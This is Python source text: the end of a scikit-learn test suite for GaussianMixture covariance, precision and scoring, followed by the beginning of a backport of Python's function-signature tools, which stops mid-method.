        # Check precisions with bad shapes
        g.precisions_init = precisions_bad_shape[covar_type]
        assert_raise_message(ValueError,
                             "The parameter '%s precision' should have "
                             "the shape of" % covar_type,
                             g.fit, X)

        # Check not positive precisions
        g.precisions_init = precisions_not_positive[covar_type]
        assert_raise_message(ValueError,
                             "'%s precision' should be %s"
                             % (covar_type, not_positive_errors[covar_type]),
                             g.fit, X)

        # Check the correct init of precisions_init
        g.precisions_init = rand_data.precisions[covar_type]
        g.fit(X)
        assert_array_equal(rand_data.precisions[covar_type], g.precisions_init)


def test_suffstat_sk_full():
    # compare the precision matrix compute from the
    # EmpiricalCovariance.covariance fitted on X*sqrt(resp)
    # with _sufficient_sk_full, n_components=1
    rng = np.random.RandomState(0)
    n_samples, n_features = 500, 2

    # special case 1, assuming data is "centered"
    X = rng.rand(n_samples, n_features)
    resp = rng.rand(n_samples, 1)
    X_resp = np.sqrt(resp) * X
    nk = np.array([n_samples])
    xk = np.zeros((1, n_features))
    covars_pred = _estimate_gaussian_covariances_full(resp, X, nk, xk, 0)
    ecov = EmpiricalCovariance(assume_centered=True)
    ecov.fit(X_resp)
    assert_almost_equal(ecov.error_norm(covars_pred[0], norm='frobenius'), 0)
    assert_almost_equal(ecov.error_norm(covars_pred[0], norm='spectral'), 0)

    # check the precision computation
    precs_chol_pred = _compute_precision_cholesky(covars_pred, 'full')
    precs_pred = np.array([np.dot(prec, prec.T) for prec in precs_chol_pred])
    precs_est = np.array([linalg.inv(cov) for cov in covars_pred])
    assert_array_almost_equal(precs_est, precs_pred)

    # special case 2, assuming resp are all ones
    resp = np.ones((n_samples, 1))
    nk = np.array([n_samples])
    xk = X.mean(axis=0).reshape((1, -1))
    covars_pred = _estimate_gaussian_covariances_full(resp, X, nk, xk, 0)
    ecov = EmpiricalCovariance(assume_centered=False)
    ecov.fit(X)
    assert_almost_equal(ecov.error_norm(covars_pred[0], norm='frobenius'), 0)
    assert_almost_equal(ecov.error_norm(covars_pred[0], norm='spectral'), 0)

    # check the precision computation
    precs_chol_pred = _compute_precision_cholesky(covars_pred, 'full')
    precs_pred = np.array([np.dot(prec, prec.T) for prec in precs_chol_pred])
    precs_est = np.array([linalg.inv(cov) for cov in covars_pred])
    assert_array_almost_equal(precs_est, precs_pred)


def test_suffstat_sk_tied():
    # use equation Nk * Sk / N = S_tied
    rng = np.random.RandomState(0)
    n_samples, n_features, n_components = 500, 2, 2

    resp = rng.rand(n_samples, n_components)
    resp = resp / resp.sum(axis=1)[:, np.newaxis]
    X = rng.rand(n_samples, n_features)
    nk = resp.sum(axis=0)
    xk = np.dot(resp.T, X) / nk[:, np.newaxis]

    covars_pred_full = _estimate_gaussian_covariances_full(resp, X, nk, xk, 0)
    covars_pred_full = np.sum(nk[:, np.newaxis, np.newaxis] * covars_pred_full,
                              0) / n_samples

    covars_pred_tied = _estimate_gaussian_covariances_tied(resp, X, nk, xk, 0)

    ecov = EmpiricalCovariance()
    ecov.covariance_ = covars_pred_full
    assert_almost_equal(ecov.error_norm(covars_pred_tied, norm='frobenius'), 0)
    assert_almost_equal(ecov.error_norm(covars_pred_tied, norm='spectral'), 0)

    # check the precision computation
    precs_chol_pred = _compute_precision_cholesky(covars_pred_tied, 'tied')
    precs_pred = np.dot(precs_chol_pred, precs_chol_pred.T)
    precs_est = linalg.inv(covars_pred_tied)
    assert_array_almost_equal(precs_est, precs_pred)


def test_suffstat_sk_diag():
    # test against 'full' case
    rng = np.random.RandomState(0)
    n_samples, n_features, n_components = 500, 2, 2

    resp = rng.rand(n_samples, n_components)
    resp = resp / resp.sum(axis=1)[:, np.newaxis]
    X = rng.rand(n_samples, n_features)
    nk = resp.sum(axis=0)
    xk = np.dot(resp.T, X) / nk[:, np.newaxis]
    covars_pred_full = _estimate_gaussian_covariances_full(resp, X, nk, xk, 0)
    covars_pred_diag = _estimate_gaussian_covariances_diag(resp, X, nk, xk, 0)

    ecov = EmpiricalCovariance()
    for (cov_full, cov_diag) in zip(covars_pred_full, covars_pred_diag):
        ecov.covariance_ = np.diag(np.diag(cov_full))
        cov_diag = np.diag(cov_diag)
        assert_almost_equal(ecov.error_norm(cov_diag, norm='frobenius'), 0)
        assert_almost_equal(ecov.error_norm(cov_diag, norm='spectral'), 0)

    # check the precision computation
    precs_chol_pred = _compute_precision_cholesky(covars_pred_diag, 'diag')
    assert_almost_equal(covars_pred_diag, 1. / precs_chol_pred ** 2)


def test_gaussian_suffstat_sk_spherical():
    # computing spherical covariance equals to the variance of one-dimension
    # data after flattening, n_components=1
    rng = np.random.RandomState(0)
    n_samples, n_features = 500, 2

    X = rng.rand(n_samples, n_features)
    X = X - X.mean()
    resp = np.ones((n_samples, 1))
    nk = np.array([n_samples])
    xk = X.mean()
    covars_pred_spherical = _estimate_gaussian_covariances_spherical(resp, X,
                                                                     nk, xk, 0)
    covars_pred_spherical2 = (np.dot(X.flatten().T, X.flatten()) /
                              (n_features * n_samples))
    assert_almost_equal(covars_pred_spherical, covars_pred_spherical2)

    # check the precision computation
    precs_chol_pred = _compute_precision_cholesky(covars_pred_spherical,
                                                  'spherical')
    assert_almost_equal(covars_pred_spherical, 1. / precs_chol_pred ** 2)


def test_compute_log_det_cholesky():
    n_features = 2
    rand_data = RandomData(np.random.RandomState(0))

    for covar_type in COVARIANCE_TYPE:
        covariance = rand_data.covariances[covar_type]

        if covar_type == 'full':
            predected_det = np.array([linalg.det(cov) for cov in covariance])
        elif covar_type == 'tied':
            predected_det = linalg.det(covariance)
        elif covar_type == 'diag':
            predected_det = np.array([np.prod(cov) for cov in covariance])
        elif covar_type == 'spherical':
            predected_det = covariance ** n_features

        # We compute the cholesky decomposition of the covariance matrix
        expected_det = _compute_log_det_cholesky(_compute_precision_cholesky(
            covariance, covar_type), covar_type, n_features=n_features)
        assert_array_almost_equal(expected_det, - .5 * np.log(predected_det))


def _naive_lmvnpdf_diag(X, means, covars):
    resp = np.empty((len(X), len(means)))
    stds = np.sqrt(covars)
    for i, (mean, std) in enumerate(zip(means, stds)):
        resp[:, i] = stats.norm.logpdf(X, mean, std).sum(axis=1)
    return resp


def test_gaussian_mixture_log_probabilities():
    from sklearn.mixture.gaussian_mixture import _estimate_log_gaussian_prob

    # test aginst with _naive_lmvnpdf_diag
    rng = np.random.RandomState(0)
    rand_data = RandomData(rng)
    n_samples = 500
    n_features = rand_data.n_features
    n_components = rand_data.n_components

    means = rand_data.means
    covars_diag = rng.rand(n_components, n_features)
    X = rng.rand(n_samples, n_features)
    log_prob_naive = _naive_lmvnpdf_diag(X, means, covars_diag)

    # full covariances
    precs_full = np.array([np.diag(1. / np.sqrt(x)) for x in covars_diag])

    log_prob = _estimate_log_gaussian_prob(X, means, precs_full, 'full')
    assert_array_almost_equal(log_prob, log_prob_naive)

    # diag covariances
    precs_chol_diag = 1. / np.sqrt(covars_diag)
    log_prob = _estimate_log_gaussian_prob(X, means, precs_chol_diag, 'diag')
    assert_array_almost_equal(log_prob, log_prob_naive)

    # tied
    covars_tied = np.array([x for x in covars_diag]).mean(axis=0)
    precs_tied = np.diag(np.sqrt(1. / covars_tied))

    log_prob_naive = _naive_lmvnpdf_diag(X, means,
                                         [covars_tied] * n_components)
    log_prob = _estimate_log_gaussian_prob(X, means, precs_tied, 'tied')

    assert_array_almost_equal(log_prob, log_prob_naive)

    # spherical
    covars_spherical = covars_diag.mean(axis=1)
    precs_spherical = 1. / np.sqrt(covars_diag.mean(axis=1))
    log_prob_naive = _naive_lmvnpdf_diag(X, means,
                                         [[k] * n_features for k in
                                          covars_spherical])
    log_prob = _estimate_log_gaussian_prob(X, means,
                                           precs_spherical, 'spherical')
    assert_array_almost_equal(log_prob, log_prob_naive)

# skip tests on weighted_log_probabilities, log_weights


def test_gaussian_mixture_estimate_log_prob_resp():
    # test whether responsibilities are normalized
    rng = np.random.RandomState(0)
    rand_data = RandomData(rng, scale=5)
    n_samples = rand_data.n_samples
    n_features = rand_data.n_features
    n_components = rand_data.n_components

    X = rng.rand(n_samples, n_features)
    for covar_type in COVARIANCE_TYPE:
        weights = rand_data.weights
        means = rand_data.means
        precisions = rand_data.precisions[covar_type]
        g = GaussianMixture(n_components=n_components, random_state=rng,
                            weights_init=weights, means_init=means,
                            precisions_init=precisions,
                            covariance_type=covar_type)
        g.fit(X)
        resp = g.predict_proba(X)
        assert_array_almost_equal(resp.sum(axis=1), np.ones(n_samples))
        assert_array_equal(g.weights_init, weights)
        assert_array_equal(g.means_init, means)
        assert_array_equal(g.precisions_init, precisions)


def test_gaussian_mixture_predict_predict_proba():
    rng = np.random.RandomState(0)
    rand_data = RandomData(rng)
    for covar_type in COVARIANCE_TYPE:
        X = rand_data.X[covar_type]
        Y = rand_data.Y
        g = GaussianMixture(n_components=rand_data.n_components,
                            random_state=rng, weights_init=rand_data.weights,
                            means_init=rand_data.means,
                            precisions_init=rand_data.precisions[covar_type],
                            covariance_type=covar_type)

        # Check a warning message arrive if we don't do fit
        assert_raise_message(NotFittedError,
                             "This GaussianMixture instance is not fitted "
                             "yet. Call 'fit' with appropriate arguments "
                             "before using this method.", g.predict, X)

        g.fit(X)
        Y_pred = g.predict(X)
        Y_pred_proba = g.predict_proba(X).argmax(axis=1)
        assert_array_equal(Y_pred, Y_pred_proba)
        assert_greater(adjusted_rand_score(Y, Y_pred), .95)


def test_gaussian_mixture_fit():
    # recover the ground truth
    rng = np.random.RandomState(0)
    rand_data = RandomData(rng)
    n_features = rand_data.n_features
    n_components = rand_data.n_components

    for covar_type in COVARIANCE_TYPE:
        X = rand_data.X[covar_type]
        g = GaussianMixture(n_components=n_components, n_init=20,
                            reg_covar=0, random_state=rng,
                            covariance_type=covar_type)
        g.fit(X)

        # needs more data to pass the test with rtol=1e-7
        assert_allclose(np.sort(g.weights_), np.sort(rand_data.weights),
                        rtol=0.1, atol=1e-2)

        arg_idx1 = g.means_[:, 0].argsort()
        arg_idx2 = rand_data.means[:, 0].argsort()
        assert_allclose(g.means_[arg_idx1], rand_data.means[arg_idx2],
                        rtol=0.1, atol=1e-2)

        if covar_type == 'full':
            prec_pred = g.precisions_
            prec_test = rand_data.precisions['full']
        elif covar_type == 'tied':
            prec_pred = np.array([g.precisions_] * n_components)
            prec_test = np.array([rand_data.precisions['tied']] * n_components)
        elif covar_type == 'spherical':
            prec_pred = np.array([np.eye(n_features) * c
                                 for c in g.precisions_])
            prec_test = np.array([np.eye(n_features) * c for c in
                                 rand_data.precisions['spherical']])
        elif covar_type == 'diag':
            prec_pred = np.array([np.diag(d) for d in g.precisions_])
            prec_test = np.array([np.diag(d) for d in
                                 rand_data.precisions['diag']])

        arg_idx1 = np.trace(prec_pred, axis1=1, axis2=2).argsort()
        arg_idx2 = np.trace(prec_test, axis1=1, axis2=2).argsort()
        for k, h in zip(arg_idx1, arg_idx2):
            ecov = EmpiricalCovariance()
            ecov.covariance_ = prec_test[h]
            # the accuracy depends on the number of data and randomness, rng
            assert_allclose(ecov.error_norm(prec_pred[k]), 0, atol=0.1)


def test_gaussian_mixture_fit_best_params():
    rng = np.random.RandomState(0)
    rand_data = RandomData(rng)
    n_components = rand_data.n_components
    n_init = 10
    for covar_type in COVARIANCE_TYPE:
        X = rand_data.X[covar_type]
        g = GaussianMixture(n_components=n_components, n_init=1, reg_covar=0,
                            random_state=rng, covariance_type=covar_type)
        ll = []
        for _ in range(n_init):
            g.fit(X)
            ll.append(g.score(X))
        ll = np.array(ll)
        g_best = GaussianMixture(n_components=n_components,
                                 n_init=n_init, reg_covar=0, random_state=rng,
                                 covariance_type=covar_type)
        g_best.fit(X)
        assert_almost_equal(ll.min(), g_best.score(X))


def test_gaussian_mixture_fit_convergence_warning():
    rng = np.random.RandomState(0)
    rand_data = RandomData(rng, scale=1)
    n_components = rand_data.n_components
    max_iter = 1
    for covar_type in COVARIANCE_TYPE:
        X = rand_data.X[covar_type]
        g = GaussianMixture(n_components=n_components, n_init=1,
                            max_iter=max_iter, reg_covar=0, random_state=rng,
                            covariance_type=covar_type)
        assert_warns_message(ConvergenceWarning,
                             'Initialization %d did not converged. '
                             'Try different init parameters, '
                             'or increase n_init, tol '
                             'or check for degenerate data.'
                             % max_iter, g.fit, X)


def test_multiple_init():
    # Test that multiple inits does not much worse than a single one
    rng = np.random.RandomState(0)
    n_samples, n_features, n_components = 50, 5, 2
    X = rng.randn(n_samples, n_features)
    for cv_type in COVARIANCE_TYPE:
        train1 = GaussianMixture(n_components=n_components,
                                 covariance_type=cv_type,
                                 random_state=rng).fit(X).score(X)
        train2 = GaussianMixture(n_components=n_components,
                                 covariance_type=cv_type,
                                 random_state=rng, n_init=5).fit(X).score(X)
        assert_greater_equal(train2, train1)


def test_gaussian_mixture_n_parameters():
    # Test that the right number of parameters is estimated
    rng = np.random.RandomState(0)
    n_samples, n_features, n_components = 50, 5, 2
    X = rng.randn(n_samples, n_features)
    n_params = {'spherical': 13, 'diag': 21, 'tied': 26, 'full': 41}
    for cv_type in COVARIANCE_TYPE:
        g = GaussianMixture(
            n_components=n_components, covariance_type=cv_type,
            random_state=rng).fit(X)
        assert_equal(g._n_parameters(), n_params[cv_type])


def test_bic_1d_1component():
    # Test all of the covariance_types return the same BIC score for
    # 1-dimensional, 1 component fits.
    rng = np.random.RandomState(0)
    n_samples, n_dim, n_components = 100, 1, 1
    X = rng.randn(n_samples, n_dim)
    bic_full = GaussianMixture(n_components=n_components,
                               covariance_type='full',
                               random_state=rng).fit(X).bic(X)
    for covariance_type in ['tied', 'diag', 'spherical']:
        bic = GaussianMixture(n_components=n_components,
                              covariance_type=covariance_type,
                              random_state=rng).fit(X).bic(X)
        assert_almost_equal(bic_full, bic)


def test_gaussian_mixture_aic_bic():
    # Test the aic and bic criteria
    rng = np.random.RandomState(0)
    n_samples, n_features, n_components = 50, 3, 2
    X = rng.randn(n_samples, n_features)
    # standard gaussian entropy
    sgh = 0.5 * (fast_logdet(np.cov(X.T, bias=1)) +
                 n_features * (1 + np.log(2 * np.pi)))
    for cv_type in COVARIANCE_TYPE:
        g = GaussianMixture(
            n_components=n_components, covariance_type=cv_type,
            random_state=rng, max_iter=200)
        g.fit(X)
        aic = 2 * n_samples * sgh + 2 * g._n_parameters()
        bic = (2 * n_samples * sgh +
               np.log(n_samples) * g._n_parameters())
        bound = n_features / np.sqrt(n_samples)
        assert_true((g.aic(X) - aic) / n_samples < bound)
        assert_true((g.bic(X) - bic) / n_samples < bound)


def test_gaussian_mixture_verbose():
    rng = np.random.RandomState(0)
    rand_data = RandomData(rng)
    n_components = rand_data.n_components
    for covar_type in COVARIANCE_TYPE:
        X = rand_data.X[covar_type]
        g = GaussianMixture(n_components=n_components, n_init=1, reg_covar=0,
                            random_state=rng, covariance_type=covar_type,
                            verbose=1)
        h = GaussianMixture(n_components=n_components, n_init=1, reg_covar=0,
                            random_state=rng, covariance_type=covar_type,
                            verbose=2)
        old_stdout = sys.stdout
        sys.stdout = StringIO()
        try:
            g.fit(X)
            h.fit(X)
        finally:
            sys.stdout = old_stdout


def test_warm_start():

    random_state = 0
    rng = np.random.RandomState(random_state)
    n_samples, n_features, n_components = 500, 2, 2
    X = rng.rand(n_samples, n_features)

    # Assert the warm_start give the same result for the same number of iter
    g = GaussianMixture(n_components=n_components, n_init=1, max_iter=2,
                        reg_covar=0, random_state=random_state,
                        warm_start=False)
    h = GaussianMixture(n_components=n_components, n_init=1, max_iter=1,
                        reg_covar=0, random_state=random_state,
                        warm_start=True)

    with warnings.catch_warnings():
        warnings.simplefilter("ignore", ConvergenceWarning)
        g.fit(X)
        score1 = h.fit(X).score(X)
        score2 = h.fit(X).score(X)

    assert_almost_equal(g.weights_, h.weights_)
    assert_almost_equal(g.means_, h.means_)
    assert_almost_equal(g.precisions_, h.precisions_)
    assert_greater(score2, score1)

    # Assert that by using warm_start we can converge to a good solution
    g = GaussianMixture(n_components=n_components, n_init=1,
                        max_iter=5, reg_covar=0, random_state=random_state,
                        warm_start=False, tol=1e-6)
    h = GaussianMixture(n_components=n_components, n_init=1,
                        max_iter=5, reg_covar=0, random_state=random_state,
                        warm_start=True, tol=1e-6)

    with warnings.catch_warnings():
        warnings.simplefilter("ignore", ConvergenceWarning)
        g.fit(X)
        h.fit(X).fit(X)

    assert_true(not g.converged_)
    assert_true(h.converged_)


def test_score():
    covar_type = 'full'
    rng = np.random.RandomState(0)
    rand_data = RandomData(rng, scale=7)
    n_components = rand_data.n_components
    X = rand_data.X[covar_type]

    # Check the error message if we don't call fit
    gmm1 = GaussianMixture(n_components=n_components, n_init=1,
                           max_iter=1, reg_covar=0, random_state=rng,
                           covariance_type=covar_type)
    assert_raise_message(NotFittedError,
                         "This GaussianMixture instance is not fitted "
                         "yet. Call 'fit' with appropriate arguments "
                         "before using this method.", gmm1.score, X)

    # Check score value
    with warnings.catch_warnings():
        warnings.simplefilter("ignore", ConvergenceWarning)
        gmm1.fit(X)
    gmm_score = gmm1.score(X)
    gmm_score_proba = gmm1.score_samples(X).mean()
    assert_almost_equal(gmm_score, gmm_score_proba)

    # Check if the score increase
    gmm2 = GaussianMixture(n_components=n_components, n_init=1, reg_covar=0,
                           random_state=rng,
                           covariance_type=covar_type).fit(X)
    assert_greater(gmm2.score(X), gmm1.score(X))


def test_score_samples():
    covar_type = 'full'
    rng = np.random.RandomState(0)
    rand_data = RandomData(rng, scale=7)
    n_components = rand_data.n_components
    X = rand_data.X[covar_type]

    # Check the error message if we don't call fit
    gmm = GaussianMixture(n_components=n_components, n_init=1, reg_covar=0,
                          random_state=rng, covariance_type=covar_type)
    assert_raise_message(NotFittedError,
                         "This GaussianMixture instance is not fitted "
                         "yet. Call 'fit' with appropriate arguments "
                         "before using this method.", gmm.score_samples, X)

    gmm_score_samples = gmm.fit(X).score_samples(X)
    assert_equal(gmm_score_samples.shape[0], rand_data.n_samples)


def test_monotonic_likelihood():
    # We check that each step of the EM without regularization improve
    # monotonically the training set likelihood
    rng = np.random.RandomState(0)
    rand_data = RandomData(rng, scale=7)
    n_components = rand_data.n_components

    for covar_type in COVARIANCE_TYPE:
        X = rand_data.X[covar_type]
        gmm = GaussianMixture(n_components=n_components,
                              covariance_type=covar_type, reg_covar=0,
                              warm_start=True, max_iter=1, random_state=rng,
                              tol=1e-7)
        current_log_likelihood = -np.infty
        with warnings.catch_warnings():
            warnings.simplefilter("ignore", ConvergenceWarning)
            # Do one training iteration at a time so we can make sure that the
            # training log likelihood increases after each iteration.
            for _ in range(600):
                prev_log_likelihood = current_log_likelihood
                try:
                    current_log_likelihood = gmm.fit(X).score(X)
                except ConvergenceWarning:
                    pass
                assert_greater_equal(current_log_likelihood,
                                     prev_log_likelihood)

                if gmm.converged_:
                    break

            assert_true(gmm.converged_)


def test_regularisation():
    # We train the GaussianMixture on degenerate data by defining two clusters
    # of a 0 covariance.
    rng = np.random.RandomState(0)
    n_samples, n_features = 10, 5

    X = np.vstack((np.ones((n_samples // 2, n_features)),
                   np.zeros((n_samples // 2, n_features))))

    for covar_type in COVARIANCE_TYPE:
        gmm = GaussianMixture(n_components=n_samples, reg_covar=0,
                              covariance_type=covar_type, random_state=rng)

        with warnings.catch_warnings():
            warnings.simplefilter("ignore", RuntimeWarning)
            assert_raise_message(ValueError,
                                 "The algorithm has diverged because of too "
                                 "few samples per components. "
                                 "Try to decrease the number of components, "
                                 "or increase reg_covar.", gmm.fit, X)

            gmm.set_params(reg_covar=1e-6).fit(X)


def test_property():
    rng = np.random.RandomState(0)
    rand_data = RandomData(rng, scale=7)
    n_components = rand_data.n_components

    for covar_type in COVARIANCE_TYPE:
        X = rand_data.X[covar_type]
        gmm = GaussianMixture(n_components=n_components,
                              covariance_type=covar_type, random_state=rng,
                              n_init=5)
        gmm.fit(X)
        print(covar_type)
        if covar_type == 'full':
            for prec, covar in zip(gmm.precisions_, gmm.covariances_):

                assert_array_almost_equal(linalg.inv(prec), covar)
        elif covar_type == 'tied':
            assert_array_almost_equal(linalg.inv(gmm.precisions_),
                                      gmm.covariances_)
        else:
            assert_array_almost_equal(gmm.precisions_, 1. / gmm.covariances_)






# Copyright 2001-2013 Python Software Foundation; All Rights Reserved
"""Function signature objects for callables

Back port of Python 3.3's function signature tools from the inspect module,
modified to be compatible with Python 2.6, 2.7 and 3.2+.
"""
from __future__ import absolute_import, division, print_function
import itertools
import functools
import re
import types

try:
    from collections import OrderedDict
except ImportError:
    from .odict import OrderedDict

__version__ = "0.4"

__all__ = ['BoundArguments', 'Parameter', 'Signature', 'signature']


_WrapperDescriptor = type(type.__call__)
_MethodWrapper = type(all.__call__)

_NonUserDefinedCallables = (_WrapperDescriptor,
                            _MethodWrapper,
                            types.BuiltinFunctionType)


def formatannotation(annotation, base_module=None):
    if isinstance(annotation, type):
        if annotation.__module__ in ('builtins', '__builtin__', base_module):
            return annotation.__name__
        return annotation.__module__+'.'+annotation.__name__
    return repr(annotation)


def _get_user_defined_method(cls, method_name, *nested):
    try:
        if cls is type:
            return
        meth = getattr(cls, method_name)
        for name in nested:
            meth = getattr(meth, name, meth)
    except AttributeError:
        return
    else:
        if not isinstance(meth, _NonUserDefinedCallables):
            # Once '__signature__' will be added to 'C'-level
            # callables, this check won't be necessary
            return meth


def signature(obj):
    '''Get a signature object for the passed callable.'''

    if not callable(obj):
        raise TypeError('{0!r} is not a callable object'.format(obj))

    if isinstance(obj, types.MethodType):
        sig = signature(obj.__func__)
        if obj.__self__ is None:
            # Unbound method: the first parameter becomes positional-only
            if sig.parameters:
                first = sig.parameters.values()[0].replace(
                    kind=_POSITIONAL_ONLY)
                return sig.replace(
                    parameters=(first,) + tuple(sig.parameters.values())[1:])
            else:
                return sig
        else:
            # In this case we skip the first parameter of the underlying
            # function (usually `self` or `cls`).
            return sig.replace(parameters=tuple(sig.parameters.values())[1:])

    try:
        sig = obj.__signature__
    except AttributeError:
        pass
    else:
        if sig is not None:
            return sig

    try:
        # Was this function wrapped by a decorator?
        wrapped = obj.__wrapped__
    except AttributeError:
        pass
    else:
        return signature(wrapped)

    if isinstance(obj, types.FunctionType):
        return Signature.from_function(obj)

    if isinstance(obj, functools.partial):
        sig = signature(obj.func)

        new_params = OrderedDict(sig.parameters.items())

        partial_args = obj.args or ()
        partial_keywords = obj.keywords or {}
        try:
            ba = sig.bind_partial(*partial_args, **partial_keywords)
        except TypeError as ex:
            msg = 'partial object {0!r} has incorrect arguments'.format(obj)
            raise ValueError(msg)

        for arg_name, arg_value in ba.arguments.items():
            param = new_params[arg_name]
            if arg_name in partial_keywords:
                # We set a new default value, because the following code
                # is correct:
                #
                #   >>> def foo(a): print(a)
                #   >>> print(partial(partial(foo, a=10), a=20)())
                #   20
                #   >>> print(partial(partial(foo, a=10), a=20)(a=30))
                #   30
                #
                # So, with 'partial' objects, passing a keyword argument is
                # like setting a new default value for the corresponding
                # parameter
                #
                # We also mark this parameter with '_partial_kwarg'
                # flag.  Later, in '_bind', the 'default' value of this
                # parameter will be added to 'kwargs', to simulate
                # the 'functools.partial' real call.
                new_params[arg_name] = param.replace(default=arg_value,
                                                     _partial_kwarg=True)

            elif (param.kind not in (_VAR_KEYWORD, _VAR_POSITIONAL) and
                            not param._partial_kwarg):
                new_params.pop(arg_name)

        return sig.replace(parameters=new_params.values())

    sig = None
    if isinstance(obj, type):
        # obj is a class or a metaclass

        # First, let's see if it has an overloaded __call__ defined
        # in its metaclass
        call = _get_user_defined_method(type(obj), '__call__')
        if call is not None:
            sig = signature(call)
        else:
            # Now we check if the 'obj' class has a '__new__' method
            new = _get_user_defined_method(obj, '__new__')
            if new is not None:
                sig = signature(new)
            else:
                # Finally, we should have at least __init__ implemented
                init = _get_user_defined_method(obj, '__init__')
                if init is not None:
                    sig = signature(init)
    elif not isinstance(obj, _NonUserDefinedCallables):
        # An object with __call__
        # We also check that the 'obj' is not an instance of
        # _WrapperDescriptor or _MethodWrapper to avoid
        # infinite recursion (and even potential segfault)
        call = _get_user_defined_method(type(obj), '__call__', 'im_func')
        if call is not None:
            sig = signature(call)

    if sig is not None:
        # For classes and objects we skip the first parameter of their
        # __call__, __new__, or __init__ methods
        return sig.replace(parameters=tuple(sig.parameters.values())[1:])

    if isinstance(obj, types.BuiltinFunctionType):
        # Raise a nicer error message for builtins
        msg = 'no signature found for builtin function {0!r}'.format(obj)
        raise ValueError(msg)

    raise ValueError('callable {0!r} is not supported by signature'.format(obj))


class _void(object):
    '''A private marker - used in Parameter & Signature'''


class _empty(object):
    pass


class _ParameterKind(int):
    def __new__(self, *args, **kwargs):
        obj = int.__new__(self, *args)
        obj._name = kwargs['name']
        return obj

    def __str__(self):
        return self._name

    def __repr__(self):
        return '<_ParameterKind: {0!r}>'.format(self._name)


_POSITIONAL_ONLY        = _ParameterKind(0, name='POSITIONAL_ONLY')
_POSITIONAL_OR_KEYWORD  = _ParameterKind(1, name='POSITIONAL_OR_KEYWORD')
_VAR_POSITIONAL         = _ParameterKind(2, name='VAR_POSITIONAL')
_KEYWORD_ONLY           = _ParameterKind(3, name='KEYWORD_ONLY')
_VAR_KEYWORD            = _ParameterKind(4, name='VAR_KEYWORD')


class Parameter(object):
    '''Represents a parameter in a function signature.

    Has the following public attributes:

    * name : str
        The name of the parameter as a string.
    * default : object
        The default value for the parameter if specified.  If the
        parameter has no default value, this attribute is not set.
    * annotation
        The annotation for the parameter if specified.  If the
        parameter has no annotation, this attribute is not set.
    * kind : str
        Describes how argument values are bound to the parameter.
        Possible values: `Parameter.POSITIONAL_ONLY`,
        `Parameter.POSITIONAL_OR_KEYWORD`, `Parameter.VAR_POSITIONAL`,
        `Parameter.KEYWORD_ONLY`, `Parameter.VAR_KEYWORD`.
    '''

    __slots__ = ('_name', '_kind', '_default', '_annotation', '_partial_kwarg')

    POSITIONAL_ONLY         = _POSITIONAL_ONLY
    POSITIONAL_OR_KEYWORD   = _POSITIONAL_OR_KEYWORD
    VAR_POSITIONAL          = _VAR_POSITIONAL
    KEYWORD_ONLY            = _KEYWORD_ONLY
    VAR_KEYWORD             = _VAR_KEYWORD

    empty = _empty

    def __init__(self, name, kind, default=_empty, annotation=_empty,
                 _partial_kwarg=False):

        if kind not in (_POSITIONAL_ONLY, _POSITIONAL_OR_KEYWORD,
                        _VAR_POSITIONAL, _KEYWORD_ONLY, _VAR_KEYWORD):
            raise ValueError("invalid value for 'Parameter.kind' attribute")
        self._kind = kind

        if default is not _empty:
            if kind in (_VAR_POSITIONAL, _VAR_KEYWORD):
                msg = '{0} parameters cannot have default values'.format(kind)
                raise ValueError(msg)
        self._default = default
        self._annotation = annotation

        if name is None:
            if kind != _POSITIONAL_ONLY:
                raise ValueError("None is not a valid name for a "
                                 "non-positional-only parameter")
            self._name = name
        else:
            name = str(name)
            if kind != _POSITIONAL_ONLY and not re.match(r'[a-z_]\w*$', name, re.I):
                msg = '{0!r} is not a valid parameter name'.format(name)
                raise ValueError(msg)
            self._name = name

        self._partial_kwarg = _partial_kwarg

    @property
    def name(self):
        return self._name

    @property
    def default(self):
        return self._default

    @property
    def annotation(self):
        return self._annotation

    @property
    def kind(self):
        return self._kind

    def replace(self, name=_void, kind=_void, annotation=_void,
                default=_void, _partial_kwarg=_void):
        '''Creates a customized copy of the Parameter.'''

        if name is _void:
            name = self._name

        if kind is _void:
            kind = self._kind

        if annotation is _void:
            annotation = self._annotation

        if default is _void:
            default = self._default

        if _partial_kwarg is _void:
            _partial_kwarg = self._partial_kwarg

        return type(self)(name, kind, default=default, annotation=annotation,
                          _partial_kwarg=_partial_kwarg)

    def __str__(self):
        kind = self.kind

        formatted = self._name
        if kind == _POSITIONAL_ONLY:
            if formatted is None:
                formatted = ''
            formatted = '<{0}>'.format(formatted)

        # Add annotation and default value
        if self._annotation is not _empty:
            formatted = '{0}:{1}'.format(formatted,
                                       formatannotation(self._annotation))

        if self._default is not _empty:
            formatted = '{0}={1}'.format(formatted, repr(self._default))

        if kind == _VAR_POSITIONAL:
            formatted = '*' + formatted
        elif kind == _VAR_KEYWORD:
            formatted = '**' + formatted

        return formatted

    def __repr__(self):
        return '<{0} at {1:#x} {2!r}>'.format(self.__class__.__name__,
                                           id(self), self.name)

    def __hash__(self):
        msg = "unhashable type: '{0}'".format(self.__class__.__name__)
        raise TypeError(msg)

    def __eq__(self, other):
        return (issubclass(other.__class__, Parameter) and
                self._name == other._name and
                self._kind == other._kind and
                self._default == other._default and
                self._annotation == other._annotation)

    def __ne__(self, other):
        return not self.__eq__(other)


class BoundArguments(object):
    '''Result of `Signature.bind` call.  Holds the mapping of arguments
    to the function's parameters.

    Has the following public attributes:

    * arguments : OrderedDict
        An ordered mutable mapping of parameters' names to arguments' values.
        Does not contain arguments' default values.
    * signature : Signature
        The Signature object that created this instance.
    * args : tuple
        Tuple of positional arguments values.
    * kwargs : dict
        Dict of keyword arguments values.
    '''

    def __init__(self, signature, arguments):
        self.arguments = arguments
        self._signature = signature

    @property
    def signature(self):
        return self._signature

    @property
    def args(self):
        args = []
        for param_name, param in self._signature.parameters.items():
            if (param.kind in (_VAR_KEYWORD, _KEYWORD_ONLY) or
                                                    param._partial_kwarg):
                # Keyword arguments mapped by 'functools.partial'
                # (Parameter._partial_kwarg is True) are mapped
                # in 'BoundArguments.kwargs', along with VAR_KEYWORD &
                # KEYWORD_ONLY
                break

            try:
                arg = self.arguments[param_name]
            except KeyError:
                # We're done here. Other arguments
                # will be mapped in 'BoundArguments.kwargs'
                break
            else:
                if param.kind == _VAR_POSITIONAL:
                    # *args
                    args.extend(arg)
                else:
                    # plain argument
                    args.append(arg)

        return tuple(args)

    @property
    def kwargs(self):
        kwargs = {}
        kwargs_started = False
        for param_name, param in self._signature.parameters.items():
            if not kwargs_started:
                if (param.kind in (_VAR_KEYWORD, _KEYWORD_ONLY) or
                                                param._partial_kwarg):
                    kwargs_started = True
                else:
